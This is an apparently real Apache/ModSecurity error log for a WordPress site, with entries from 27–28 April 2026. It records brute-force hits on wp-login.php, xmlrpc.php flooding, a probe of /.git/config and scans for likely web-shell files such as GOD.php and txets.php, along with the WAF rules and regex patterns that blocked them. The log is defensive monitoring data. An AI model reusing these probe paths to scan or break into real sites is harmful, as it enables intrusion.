[Mon Apr 27 02:49:11.134481 2026] [:error] [pid 8390:tid 8473] [client 209.141.48.24:59769] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae5eJ4GPtFK_i9p5yxTPcAAAAJY"], referer: https://rcacivilgroup.com/wp-admin/
[Mon Apr 27 03:12:06.395645 2026] [:error] [pid 8390:tid 8466] [client 89.163.146.197:54303] [client 89.163.146.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ae5jhoGPtFK_i9p5yxTTPAAAAI8"], referer: www.google.com
[Mon Apr 27 05:11:39.359776 2026] [:error] [pid 22751:tid 22777] [client 43.153.79.218:51120] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae5_iyc0tCpVyVdFok-NsQAAANc"]
[Mon Apr 27 06:41:52.847812 2026] [:error] [pid 22751:tid 22759] [client 209.141.48.24:60749] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae6UsCc0tCpVyVdFok_cXgAAAMU"]
[Mon Apr 27 06:41:53.810638 2026] [:error] [pid 22751:tid 22768] [client 209.141.48.24:60749] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae6UsSc0tCpVyVdFok_cXwAAAM4"], referer: https://rcacivilgroup.com/wp-admin/
[Mon Apr 27 08:13:22.155609 2026] [:error] [pid 50863:tid 50942] [client 172.94.9.79:37600] [client 172.94.9.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ae6qInPaUAmshuFrBc81lwAAANc"]
[Mon Apr 27 08:30:58.646740 2026] [:error] [pid 50951:tid 50976] [client 210.7.20.134:57465] [client 210.7.20.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.7.20.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae6uQl2pquA9BEfFXTgzXwAAAVc"]
[Mon Apr 27 08:31:08.604523 2026] [:error] [pid 50861:tid 50883] [client 210.7.20.134:57853] [client 210.7.20.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.7.20.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae6uTGCmVQOCiCZfqR5phAAAABI"]
[Mon Apr 27 08:31:18.890194 2026] [:error] [pid 50951:tid 50970] [client 210.7.20.134:58187] [client 210.7.20.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.7.20.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae6uVl2pquA9BEfFXTgzjQAAAVE"]
[Mon Apr 27 08:31:29.324448 2026] [:error] [pid 50863:tid 50930] [client 210.7.20.134:58522] [client 210.7.20.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.7.20.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae6uYXPaUAmshuFrBc87JwAAAMs"]
[Mon Apr 27 08:31:39.483041 2026] [:error] [pid 50863:tid 50924] [client 210.7.20.134:58859] [client 210.7.20.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.7.20.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae6ua3PaUAmshuFrBc87PAAAAMU"]
[Mon Apr 27 08:57:20.933046 2026] [autoindex:error] [pid 50951:tid 50971] [client 20.92.73.174:1607] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 08:57:20.952531 2026] [proxy_fcgi:error] [pid 50951:tid 50964] [client 20.92.73.174:1607] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 08:57:21.873368 2026] [autoindex:error] [pid 50951:tid 50962] [client 20.92.73.174:1607] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 08:57:30.807652 2026] [:error] [pid 50951:tid 50976] [client 20.92.73.174:1607] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/GOD.php"] [unique_id "ae60el2pquA9BEfFXTg_PAAAAVc"]
[Mon Apr 27 08:57:30.874850 2026] [:error] [pid 50951:tid 50959] [client 20.92.73.174:1545] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/GOD.php"] [unique_id "ae60el2pquA9BEfFXTg_PQAAAUY"]
[Mon Apr 27 08:57:30.945366 2026] [:error] [pid 50951:tid 50954] [client 20.92.73.174:8860] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/GOD.php"] [unique_id "ae60el2pquA9BEfFXTg_PgAAAUE"]
[Mon Apr 27 08:57:31.037097 2026] [:error] [pid 50951:tid 50960] [client 20.92.73.174:1549] [client 20.92.73.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/GOD.php"] [unique_id "ae60e12pquA9BEfFXTg_PwAAAUc"]
[Mon Apr 27 09:51:41.002035 2026] [autoindex:error] [pid 6971:tid 7023] [client 62.171.160.12:58893] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Apr 27 11:32:44.769649 2026] [:error] [pid 6972:tid 7050] [client 198.98.57.91:50262] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae7Y3OJniPbCiT6NuKfX2gAAAVY"]
[Mon Apr 27 11:32:45.787894 2026] [:error] [pid 6972:tid 7041] [client 198.98.57.91:50262] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae7Y3eJniPbCiT6NuKfX2wAAAU0"]
[Mon Apr 27 12:07:55.133909 2026] [:error] [pid 55882:tid 55951] [client 43.153.85.46:47186] [client 43.153.85.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae7hGxT-oLgX4cIe87MoSwAAAUw"]
[Mon Apr 27 12:53:09.284028 2026] [:error] [pid 62607:tid 62613] [client 43.167.157.80:49852] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae7rtYXk80_zcPo33veR1wAAAEQ"]
[Mon Apr 27 13:51:52.981805 2026] [:error] [pid 62510:tid 62559] [client 34.55.86.97:65412] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "ae75eICpoM1jGOxUMpv3iQAAAM4"]
[Mon Apr 27 14:11:11.364640 2026] [:error] [pid 62511:tid 62576] [client 5.193.121.236:55055] [client 5.193.121.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.193.121.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae79_7BjE-jhU4FY4Hh83gAAAUI"]
[Mon Apr 27 14:11:21.803583 2026] [:error] [pid 62509:tid 62518] [client 5.193.121.236:55529] [client 5.193.121.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.193.121.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae7-CdwtbauadMz70GGJ8QAAAIQ"]
[Mon Apr 27 14:11:32.119337 2026] [:error] [pid 62511:tid 62594] [client 5.193.121.236:55903] [client 5.193.121.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.193.121.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae7-FLBjE-jhU4FY4Hh9CQAAAVQ"]
[Mon Apr 27 14:11:42.578837 2026] [:error] [pid 62511:tid 62595] [client 5.193.121.236:56214] [client 5.193.121.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.193.121.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae7-HrBjE-jhU4FY4Hh9FQAAAVU"]
[Mon Apr 27 14:11:53.262475 2026] [:error] [pid 62511:tid 62583] [client 5.193.121.236:56541] [client 5.193.121.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.193.121.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae7-KbBjE-jhU4FY4Hh9JQAAAUk"]
[Mon Apr 27 16:21:19.148969 2026] [:error] [pid 41009:tid 41030] [client 14.215.163.132:34584] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae8cf9ANrlkTbZMXYE2XdgAAAZA"]
[Mon Apr 27 19:28:13.258368 2026] [:error] [pid 41009:tid 41018] [client 49.51.33.159:59094] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae9ITdANrlkTbZMXYE3dJwAAAYQ"]
[Mon Apr 27 20:05:26.554968 2026] [:error] [pid 5687:tid 5737] [client 43.135.139.165:38850] [client 43.135.139.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae9RBvV0ZjE4BqstkBSwaAAAAc0"]
[Mon Apr 27 20:31:50.153246 2026] [:error] [pid 13523:tid 13542] [client 37.67.192.238:29411] [client 37.67.192.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.192.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae9XNueav51IXKv1ebHmgAAAAJE"]
[Mon Apr 27 20:32:00.381134 2026] [:error] [pid 13464:tid 13481] [client 37.67.192.238:30484] [client 37.67.192.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.192.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae9XQGIEa0q6oQ95zvEcewAAAc0"]
[Mon Apr 27 20:32:11.800803 2026] [:error] [pid 13465:tid 13503] [client 37.67.192.238:30106] [client 37.67.192.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.192.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae9XS_19I-6GBJQxn_imcwAAAEg"]
[Mon Apr 27 20:32:21.741746 2026] [:error] [pid 13465:tid 13495] [client 37.67.192.238:29305] [client 37.67.192.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.192.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae9XVf19I-6GBJQxn_imggAAAEA"]
[Mon Apr 27 20:32:32.430832 2026] [:error] [pid 13523:tid 13542] [client 37.67.192.238:30360] [client 37.67.192.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.192.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae9XYOeav51IXKv1ebHm-QAAAJE"]
[Tue Apr 28 00:49:05.725258 2026] [:error] [pid 42612:tid 42757] [client 194.26.192.131:57162] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ae-TgTCDyZvIG2oFcJ7WFAAAAQA"]
[Tue Apr 28 00:49:06.231892 2026] [:error] [pid 42612:tid 42772] [client 194.26.192.131:57438] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ae-TgjCDyZvIG2oFcJ7WFgAAAQ8"]
[Tue Apr 28 00:49:06.730416 2026] [:error] [pid 42612:tid 42768] [client 194.26.192.131:57689] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ae-TgjCDyZvIG2oFcJ7WGwAAAQs"]
[Tue Apr 28 00:49:09.249160 2026] [:error] [pid 13465:tid 13516] [client 194.26.192.131:59341] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "ae-Thf19I-6GBJQxn_jgTAAAAFU"]
[Tue Apr 28 01:10:08.049072 2026] [:error] [pid 13465:tid 13510] [client 43.166.242.189:41890] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae-YcP19I-6GBJQxn_jjkgAAAE8"]
[Tue Apr 28 01:51:34.471752 2026] [:error] [pid 42612:tid 42768] [client 45.61.188.243:60029] [client 45.61.188.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae-iJjCDyZvIG2oFcJ7hawAAAQs"]
[Tue Apr 28 01:51:35.456037 2026] [:error] [pid 42612:tid 42765] [client 45.61.188.243:60029] [client 45.61.188.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ae-iJzCDyZvIG2oFcJ7hbAAAAQg"]
[Tue Apr 28 01:56:06.684426 2026] [:error] [pid 36747:tid 36753] [client 119.28.140.106:50094] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae-jNs9QpT00aPhkIcdkiAAAAYQ"]
[Tue Apr 28 05:16:10.031207 2026] [:error] [pid 14686:tid 14692] [client 117.62.235.53:48396] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae_SGu-YPF1Xm7uiWQ4fyQAAAMM"]
[Tue Apr 28 05:18:06.152820 2026] [:error] [pid 14579:tid 14645] [client 177.91.225.11:8442] [client 177.91.225.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.225.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_SjhrUiOG83qKKuuDmGAAAAIU"]
[Tue Apr 28 05:20:04.503156 2026] [:error] [pid 14579:tid 14640] [client 177.91.225.11:8455] [client 177.91.225.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.225.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_TBBrUiOG83qKKuuDmnAAAAIA"]
[Tue Apr 28 05:20:26.351998 2026] [:error] [pid 56602:tid 56626] [client 177.91.225.11:8913] [client 177.91.225.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.225.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_TGvCwhMxzNW_lZSwhdQAAARY"]
[Tue Apr 28 05:20:39.683680 2026] [:error] [pid 14578:tid 14631] [client 177.91.225.11:8396] [client 177.91.225.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.225.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_TJ-ngo3AwIJgfSHH4BQAAAFI"]
[Tue Apr 28 05:20:58.393714 2026] [:error] [pid 56602:tid 56628] [client 177.91.225.11:7199] [client 177.91.225.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.225.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_TOvCwhMxzNW_lZSwiDgAAARg"]
[Tue Apr 28 05:42:51.260102 2026] [autoindex:error] [pid 14577:tid 14586] [client 62.171.154.215:60677] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Apr 28 06:13:26.923076 2026] [:error] [pid 14578:tid 14625] [client 46.58.178.251:55909] [client 46.58.178.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.58.178.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_fhungo3AwIJgfSHEFFAAAAEw"]
